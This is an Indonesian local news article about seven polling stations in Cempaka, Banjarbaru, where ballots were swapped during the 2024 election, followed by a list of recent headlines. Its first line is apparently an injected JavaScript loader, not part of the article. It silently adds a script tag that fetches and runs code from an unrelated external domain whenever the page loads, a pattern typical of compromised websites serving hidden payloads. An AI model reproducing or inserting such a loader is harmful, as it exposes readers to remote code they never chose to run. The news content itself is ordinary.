(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Bawaslu Banjarbaru Temukan Kasus Surat Suara Tertukar 7 TPS di Kelurahan Cempaka


KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru menemukan kejadian khusus pada tahapan pemungutan dan perhitungan suara Pemilu 2024.

Selain menemukan permasalahan terkait kekurangan surat suara di sejumlah Tempat Pemungutan Suara (TPS), Bawaslu Banjarbaru juga menemukan kejadian khusus yang terjadi di Kecamatan Cempaka, tepatnya di Kelurahan Cempaka.

Koor Divisi Hukum, Pencegahan, Partisipasi Masyarakat dan Humas Bawaslu Banjarbaru, Bahrani mengatakan, kejadian khusus itu berupa tertukarnya surat suara.

Baca juga: Tarif Parkir di Banjarmasin Naik Mulai 1 April 2024

“Selama pemungutan dan perhitungan suara kemarin memang ada kejadian khusus yang ditemukan di Kecamatan Cempaka, khusus di Kelurahan Cempaka bahwa ada beberapa TPS yang tertukar surat suara,” kata Bahrani, Sabtu (17/2/2024).

Bahrani menyebutkan ada 7 TPS di Kelurahan Cempaka mengalami masalah tertukar surat suara saat pemungutan dan perhitungan suara berlangsung.

“Tujuh TPS itu surat suara tertukar ialah surat suara DPRD Provinsi, tertukar dengan kabupaten kota lain,” sebut dia.

Baca juga: Kai GF Sempat Berobat Malam Hari, Sebelum Pagi Ditemukan Tertindih Kayu Gelondongan

Masalah itu pun, kata dia, langsung diselesaikan dengan berkordinasi bersama kabupaten kota lain yang tertukar itu.

“Dan itu sudah ditangani, saat diketahui tertukar surat suara itu sudah tercoblos dan masuk dalam kotak suara,” ungkapnya.

Dia menyebutkan bahwa dari PPK dan Panwascam setempat sesuai kebijakan menetapkan bahwa suara tersebut tetap sah.

Baca juga: Komplotan Perompak Kapal TB Royal 27 di Tanjung Selatan Diringkus Ditpolairud Polda Kalsel

“Langsung ditangani di tingkat PPK dan Panwascam kita bahwa tetap sah suaranya sesuai kebijakan. Artinya dihitung sah untuk Parpolnya atau suara untuk Parpolnya,” jelasnya.

Kendati demikian kejadian khusus itu tak menimbulkan kendala besar bagi pihaknya dan juga tidak berpotensi untuk melakukan Pemungutan Suara Ulang (PSU).

Sedangkan untuk masalah kekurangan surat suara juga ada ditemukan salah satunya di TPS yang ada di Kecamatan Liang Anggang.

Baca juga: 37 Warning Light di Banjarbaru Tak Berfungsi, Baterai Banyak Hilang Dicuri

“Namun secara teknis sudah diatur bila ada kekurangan surat suara maka KPPS dapat berkordinasi kepada jenjang lebih tinggi untuk mencarikan surat suara di TPS terdekatnya,” tuntas Bahrani. (Kanalkalimantan.com/wanda)

Reporter : wanda

Editor : bie

 


Muhammad Andi

Recent Posts

Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

KANALKALIMANTAN.COM, BANJARBARU - Jelang pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

14 jam ago

Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Aksi amoral diduga dilakukan seorang lelaki warga Kabupaten Banjar melakukan perbuatan tak… Read More

14 jam ago

Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

KANALKALIMANTAN.COM, BANJARMASIN - Pelaksana Tugas (Plt) Kepala Dinas PUPR Kalsel, M Yasin Toyib mendampingi Wakil… Read More

16 jam ago

Modus Sewa Motor di Banjarbaru, Sigit ‘Larikan’ Yamaha NMAX hingga Sampit

KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki berusia 36 tahun diringkus polisi setelah ‘larikan’ sebuah sepeda motor… Read More

17 jam ago

Muscab ke-VII IBI HSU, Ini Kata Wabup Hero Setiawan

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan menilai peran strategis… Read More

17 jam ago

Banjar Preneur Fest Digelar di Q Mall Selama Dua Hari

KANALKALIMANTAN.COM, MARTAPURA -  Wakil Bupati Banjar Habib Idrus Al Habsyi menyampaikan apresiasi yang setinggi-tingginya kepada… Read More

1 hari ago

This website uses cookies.